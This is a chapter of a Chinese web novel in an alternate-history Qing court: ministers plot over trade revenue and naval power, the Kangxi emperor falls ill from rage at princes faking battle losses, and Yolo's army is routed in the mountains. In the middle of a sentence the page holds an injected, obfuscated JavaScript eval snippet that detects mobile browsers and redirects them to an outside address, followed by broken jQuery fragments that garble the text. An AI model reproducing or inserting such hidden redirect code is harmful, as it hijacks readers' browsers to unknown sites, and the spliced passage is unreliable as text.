默认冷灰
24号文字
方正启体

119. 业绩缺口

作者:八个柠檬本书字数:K更新时间:
    冬日的京城,寒风卷着碎雪,拍打在衙署朱红大门上,却吹不散弥漫在朝堂角落的焦灼与算计。


    商部与索额图府两处,一为营收急得团团转,一为权势博弈暗自筹谋,而这背后,牵扯着东南局势、后宫格局,更藏着庙堂未来的隐忧。


    商部衙门的书房内,炭火燃得正旺,驱不散富察马齐心头的焦躁。


    他背着手在青砖地上来回踱步,靴底摩擦地面的声响格外刺耳,案上那盏刚沏好的龙井,热气袅袅升起,没得到半分垂怜。


    马齐的目光死死锁在对面端坐的陈廷敬身上——这位陈侍郎依旧是那副气定神闲的模样,花白的胡须被指尖捻得整整齐齐,眼神里带着几分洞悉一切的了然,看得马齐越发按捺不住。


    “陈大人!”马齐猛地停下脚步,对着陈廷敬深深作揖,语气里满是急切,“您就别再拿我这粗人打趣了!明大人到底去了哪儿?商部如今这光景,真等不起啊!您也知道,我自小在马背上长大,不懂那些‘话里有话’的弯弯绕,您就明明白白告知一二,算我求您了!”


    陈廷敬见他真的急红了眼,才缓缓放下手中的茶盏,收起那副似笑非笑的神色,声音沉稳如古钟,“马大人啊,你急着找明大人,无非是急着商部今年的营收缺口,可若想找着他,得先弄明白咱们商部如今的难处——这病根,不在京城,在东南之地。”


    他伸手翻开案上摊开的厚厚账册,指尖划过密密麻麻的数字,每一笔都像压在马齐心上的石头,“商部打从成立那天起,就揣着‘为帝王敛财’的差事。当初从户部手里抢漕运商权、从工部手里争船舶制造管控权时,多少部堂盯着咱们的错处。若是今年营收达不到皇上的预期,别说你我这两个当差的没前途,连带着富察氏、我陈家,都要被牵连进去。”


    马齐狠狠点头,额角的青筋都绷了起来——这话简直说到了他的心坎里。


    前些年靠着东洋贸易,商部每年的营收增幅都能让皇上龙颜大悦,可东洋弹丸之地,早被榨得油尽灯枯,今年的营收数字眼看着就往下滑,连去年的七成还没到。


    为了开源,他和大人、同僚琢磨了大半年,才把主意打到东南战场,想着借着军需采购、战后物资补给的由头,再拉上海事衙门的航线护航,本以为能冲一把业绩补上缺口,没成想东南先乱了套——佟国纲一封奏书揭开了杰书、岳乐等人虚报军饷、杀良冒功的盖子,那些人忙着做假账、拖撤兵,商部的生意直接卡了壳,眼瞅着年底将至,营收缺口还差着一大截,他能不天天踱步发愁吗?


    “明大人……真能找到补缺口的法子?”马齐的声音都带了几分颤抖,眼里满是期盼。


    “他去找的人,比咱们有办法。”陈廷敬笑了笑,语气里多了几分笃定,“没去别处,去了索大人的府上。你别以为他是去说闲话,他是打着商部的主意,想拉着海事衙门再搭把手——东南的烂摊子虽乱,却不是全没机会。泉州那边,常泰、常海两位赫舍里的未来之星守在那儿,只要能借着泉州的粮布采购、流民所需物资交易,再搭上海事衙门的航线,哪怕只是稳住泉州供应的单子,也能给皇上一个交代,咱们商部的缺口,也能补上个七八成。”自来基建便是吞金兽,无论钱粮怎么来,从哪里来,消耗甚巨都少不了。


    马齐这才恍然大悟,脸上的焦躁总算散了些,可随即又皱起了眉:“可要是地方上故意刁难,或者户部给咱们下绊子,生意还是做不成啊!”自打进了这商部,马齐也是开口生意闭口买卖的。


    “这就是明大人的过人之处了,也是他找索额图的原因。”陈廷敬捋了捋胡须,眼神里闪过一丝赞许,“施琅将军在南边海上屯兵不是当摆设去的,京中不晓得,我却知道,他们在东南亚一带实实在在立了威,买卖能在那边做红火,全靠海事衙门上下用力;再说,泉州的常泰、常海是赫舍里氏的人,索额图大人一句话,那边就能给商部开绿灯,比咱们自己在朝中上蹿下跳管用多了。”


    马齐听完,心里的石头总算落了地,连忙起身对着陈廷敬又作了一揖,“多谢陈大人点拨!我这就去盯着泉州的动静,再让人去索府外等着,等明大人出来,咱们也好赶紧商量后续的事!”


    说罢,他风风火火地出了门,连案上的茶水都忘了喝一口。


    陈廷敬看着他的背影,笑着摇了摇头——年轻气盛,冲劲是够的,就是少了点沉稳。满洲大姓少年才这个岁数,便超过自己半辈子沉浮,不能比啊。


    而此刻的索额图府西跨院书房里,气氛却没商部那么急切,反而透着几分“一人热络、一人愁”的微妙。


    明珠正坐在铺着锦缎的椅子上,手里捧着茶盏,唾沫横飞地说着商部的计划,从“增派十艘商船往泉州运粮布”,到“联合海事衙门拓展东南亚的香料贸易”,眉飞色舞的模样,仿佛已经看到了商部营收翻倍的景象,连声音都带着抑制不住的笑意:“索兄,你想想,大军走了,还留了施琅一支舰队。在南边闲着也是闲着,让他派几船人帮着护航,咱们商部和海事衙门,也能赚得盆满钵满,皇上见了,也定能高兴!”


    索额图坐在对面的太师椅上,指尖无意识地敲击着扶手,脸上没什么表情,心里却早已翻江倒海,甚至有了几分头疼——他都明示暗示了好几回,从“你我二人日后怕是要分道扬镳”,到“眼下该早做拆分,免得皇上日后留意”,可明珠就像没听明白似的,话题直接一转,一门心思就想把商部和海事衙门的生意绑在一起,半点没考虑长远的风险。


    “明兄,”索额图终于按捺不住,打断了明珠的话,语气里多了几分严肃,“你只想着眼前,可曾想过咱们这两个部门如今的处境?商部握着天下大半的商权,海事衙门管着所有的海上航线、船舶制造,这些年权势膨胀得太快。皇上眼下忙着东南的事,没精力盯着咱们,可等南边的账算清了,战事结束了,他的目光迟早会落到咱们身上。不早点把商部和海事衙门拆分清楚,难道等着皇上找咱们麻烦?到时候,连辩解的余地都没有。”


    明珠脸上的笑意顿了顿,手里的茶盏也停在了半空,他皱着眉反驳,“索兄,你是不是想多了?咱们联手做买卖,不也是为了给皇上敛财?再说,施琅在南边的兵,除了打海盗也没别的事做,护航不过是顺手为之,既能立威,又能赚钱,何乐而不为?拆分的事,等过了年底,补完营收缺口再说也不迟啊!”


    索额图看着他这副“只看眼前和满眼是钱”的模样,无奈地叹了口气——明珠终究是把“皇上的钱”看得太重,没懂他心里的盘算。


    海事衙门从“衙门”升级成“海部”,真正把海上的权握稳,甚至能再争取到海外探查、与他国通商的权限,这才是长远之计。前提是,不能总是与商部绑在一起。


    可这些话没法明说,说了明珠只会更抵触,甚至会以为他想独吞海上的利益,到时候反而弄巧成拙。


    “罢了,再依你一回。”索额图摆摆手,语气里带着几分妥协,“护航的事,施琅那边我去打招呼,商船的调度、航线的安排,海事衙门也会配合。但你得答应我,年底前,必须把商部与海事衙门的账目理清楚,该分的权限、该划的界限,都要弄明白,不能再像现在这样混在一起。”


    明珠见他松了口,立刻又笑开了,连忙点头:“好好好,我答应你!年底前一定把账目理清楚,咱们先把眼前的生意做好,赚了钱,皇上高兴了,后续的事也更好办!”说罢,他又接着唾沫横飞地说起计划,从“如何跟泉州谈粮布采购价”,说到“如何让施琅多派些精锐护航”,全然没注意到索额图早已没再听他说话,心思早已飘到了更远的地方。


    索额图的目光落在窗外,看着庭院里落满的雪,脑子里盘算别的事——海事衙门的船上,那些八旗子弟原是京里不得志的闲散人,原本还有几分要出人头地的念想。上船之后,靠着护航、贸易分的银子,一个个都抖了起来,纪律也越来越松散,早就该换换血了。


    趁着班师还朝,把他们调回京城,要么塞进前朝的各部堂,比如吏部、户部,慢慢渗透;要么走走吏部的关系,把他们放到沿海的地方,当个知府、县令,既能安置这些人,又能把海事衙门的势力延伸到地方,往后沿海的港口、物资调度,也能更顺手。


    他越想越远,手指在案上画着,一幅巨大的蓝图越发清晰——港口要扩建,从泉州到广州,再到南洋的各个据点,都要设下常驻的海事分署;航线要拓展,不能只盯着南洋,还要往更远的地方去,看看那些小国到底有什么本事;海外的情报也不能断,四弟最近传回来的消息越来越详细,从各国的政体、经济,到文化、教育,都一一列明,尤其是那个“仅大清一省面积”的小国,国王竟要搞“全民教育”,听得他心惊胆战——人家都在琢磨着如何让百姓识文断字,谋长远发展,大清若还守着“天朝上国”的旧想法,只盯着眼前的一亩三分地,迟早要被甩在后面。


    可皇上的心思,总不愿往海上偏,每次提起拓展海外航线、设立海外据点,皇上要么转移话题,要么说“天朝上国无需与蛮夷深交”,这让索额图格外焦虑。


    娘娘心中自有打算,他却又几分等不急。


    “索兄?索兄!”明珠的声音打断了索额图的思绪,他抬头一看,只见明珠正一脸疑惑地看着他,“我跟你说,泉州那边的粮价,你听见没?”


    索额图回过神,笑了笑,“听见了,就按你说的办。”


    明珠见他应了,又接着说起后续的计划,语气依旧,眉飞色舞。


    索额图坐在对面,偶尔点头附和,心里盘算——拆分的事不能拖,换血的事要尽快安排,海外的情报要多催一催,还有沿海的港口扩建,也该提上日程了。


    养心殿


    明黄御案上堆满了来自东南的密折,密密麻麻如冬日飞雪,几乎要将鎏金笔架都淹没。


    这一个月来,康熙眉头就没松开过——密折上头写的,无一例外全是“战损”:今日说“遭乱兵袭营,折损百余人”,明日道“山中匪徒夜闯大帐放火,粮草烧毁过半”,后日又奏“海上盗贼无海事衙门战舰阻拦,登岸劫掠,兵丁伤亡惨重”。


    “朕前脚才说匪患已平、东南将定,让海军班师,又让内阁拟旨召回绿营!”康熙猛地将手中的密折摔在案上,宣纸发出“啪”的脆响,震得案上的茶盏都晃了晃,“结果这两个宗室长辈,就这么打朕的脸!明知道旨意已下,还往朝中送这些东西,分明是告诉朕‘你判断错了’,是要朕给他们派援兵、加粮草、发抚恤,还要补兵员——说到底,就是不想班师回朝!”


    他越说越气,胸腔剧烈起伏,少年天子的脸上满是怒意。


    自登基以来,他斗倒鳌拜、稳住前朝、赶跑准噶尔,一路顺风顺水,从未有过败绩。


    如今却被两个宗室王爷公然叫板,如何能忍?


    更让他窝火的是,这些人忘了南洋贸易、西洋航线是谁带他们赚的钱,忘了是谁给他们机会掌兵——简直是养不熟的白眼狼!


    皇帝从不使用宦官,对待外戚也是挑拣着忠心来用,只有自家那些王爷们,是护了又护,犯了天大的错,都能给机会。可他们呢,就是这么回报他的。


    珠兰坐在一旁,见康熙咬牙切齿,额角的青筋都绷了起来,起身上前,轻轻按住他的手臂,声音柔缓,“皇上息怒,您身子要紧,可不能急火攻心。”


    她话里全是安抚,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16561984|173504||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    却半句不替康熙做决定——她清楚,大事面前,少年天子最忌旁人越俎代庖,此刻只需递台阶,无需定主意。


    康熙深吸一口气,握着御笔的手微微颤抖,虽被珠兰的话稍稍劝住,眼底的怒火却没消,“这是公然抗旨!真当朕不敢治他们的罪?”


    皇帝对臣子的小心思,看得通透。


    寻常君主或糊涂或被蒙蔽,可他却能一眼看穿杰书、岳乐“借战损拖撤兵”的盘算,这份敏锐,怕不是葛布喇教的。


    她瞥了眼站在殿角的父亲,忠诚值高达95的赫舍里氏重臣,定是把索尼当年教的“为臣之道”全说给了皇上,才让皇上这般通透,也这般痛苦——看得太明白,容易被臣子气到。


    康熙忽然捂住额头,脸色发白,呼吸也急促起来。


    葛布喇先发现了皇上神色不对,连忙喊道:“快传太医!”


    不多时,外头备着的御医便匆匆赶来,跪在御案前为康熙诊脉。


    御医指尖搭在康熙腕上,片刻后脸色凝重地回话:“启禀皇上、皇后,皇上此乃‘肝火上炎’所致。此前眼疾本就未愈,如今急火攻心,恐引‘头风’之症——若再不能平心静气,肝火扰及心神,怕是会累及龙体根本啊!”


    康熙闭着眼,气的浑身发抖,牙关紧咬。


    御医吓得连忙磕头:“皇上息怒!龙体为重,龙体为重啊!”


    珠兰上前,轻轻拍着康熙的后背,温声劝道:“皇上,您若是气坏了身子,反倒称了他们的意。不如先歇会儿,喝碗安神汤,等明日醒了,再与内阁商议对策——左右他们在东南,跑不了,您还怕治不了他们?”


    康熙靠在龙椅上,脸色依旧难看,牙关却松开了。


    珠兰示意御医们退下,葛布喇亲手端来安神汤,看着康熙一口口喝下。


    殿内静悄悄的,只有烛火跳动的声响,映着御案上那堆密密麻麻的密折,像一座压在皇帝心头的大山——他能看穿臣子的算计,却要忍着怒火周旋,这份隐忍,比任何战事都更磨人。


    东南连绵的群山里,泥泞的山道上满是杂乱的脚印与暗红的血迹。


    副将背着中箭的岳乐,粗重的喘息声混着山间的风雨,每跑一步都觉得双腿像灌了铅——为了减轻负担,他早把沉重的铠甲扔在了半路,身上只穿了件单衣,被树枝刮得满是破口。


    身后,只有十来个亲兵紧紧跟着,每个人脸上都写满了恐惧,手里的刀枪歪歪扭扭,连平日里最神气的八旗兵丁,此刻都像丧家之犬。


    谁能想到,不过半个时辰前,他们还在大营里等着“演一场假仗”,等着拿“剿匪大捷”的奏报去骗朝廷的粮饷,可现在,五万大军(两万精兵、三万辅兵)的大营,竟被人直接攻破,连还手的余地都没有。


    “怎……怎么会这样……”副将一边跑,一边忍不住喃喃自语,声音颤抖。他记得那些敌人的模样——他们穿的铠甲样式从未见过,甲片泛着冷光,比八旗最精锐的铠甲还要坚固;手里的火器更是吓人,射程比弓箭远出一大截,“砰砰”的声响此起彼伏,子弹打在盾牌上,直接就能穿个窟窿。


    更让他胆寒的是对方的大炮,东南潮湿,朝廷发的大炮早就因为保管不当、弹药受潮,成了哑炮,可敌人的大炮却能在雨里自如发射,炮弹落在大营里,炸开的烟尘能遮住半边天,营地里的帐篷、粮草瞬间就成了火海。


    “别……别停!快……快跑!”岳乐趴在副将背上,箭伤处传来钻心的疼。


    他原本的算盘打得精:找山上的“匪军”演场戏,假装自己遭了袭,好向朝廷要援兵、要粮饷,拖延撤兵的时间。


    可谁知道,这场“戏”竟变成了真刀真枪的血战——那些“匪军”根本不是来演戏的,是来索命的!


    八旗兵丁一旦下了马,本就不是擅长步战的汉人的对手。


    更何况,对方的武器比他们好,士气比他们旺,刚一交手,八旗兵就乱了阵脚。


    更可怕的是,大营里还发生了营啸——不知是谁先喊了句“快跑啊!打不过了!”,剩下的人跟着就疯了似的往外逃,自相踩踏的、被敌人砍杀的、掉进山沟里的,到处都是尸体。


    “血……头上的血……”一个亲兵突然喊了一声,声音里满是惊恐。


    副将抹了一把脑袋,手上瞬间沾满了温热的血——不知是自己的,还是刚才被流箭擦伤时溅上的。


    他看着身边越来越少的人,只觉得肝胆俱裂:五万大军啊,就这么没了?


    岳乐大人要是有个三长两短,他们这些人,就算逃回去,也得被皇上砍头!


    儿郎性命珍重,比不过背后的王爷贵重。只要能把王爷带回去,他们这些亲兵就能活命。


    若是王爷没了,他们所有人都得陪葬。


    风雨更急了,山间的雾气越来越浓,仿佛要把这溃败的一行人彻底吞噬。


    岳乐趴在副将背上,感受着背上的血迹越来越凉。


    那个女人,根本就是骗了他!


    这场戏,从一开始就是个陷阱!


    明明是配合了无数次的好事儿,怎么就弄成了这样!


    岳乐脑子昏沉,完全不知道那个山上的女头人为什么会撕毁约定,悍然攻击大营。


    是许诺的侧福晋之位不够高,还是送去的金银珠宝不够分量,莫非她是想要山下的良田,我也没说不给她啊。


    此时此刻,岳乐完全不知晓他是输在了哪里。


    可现在说什么都晚了,他只能寄希望于能快点逃出这片山,能活着见到朝廷派来的援兵——哪怕,只是为了多活一天。


    寿春:今年翻云会的业绩也没达标呢,就靠几位送人头了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)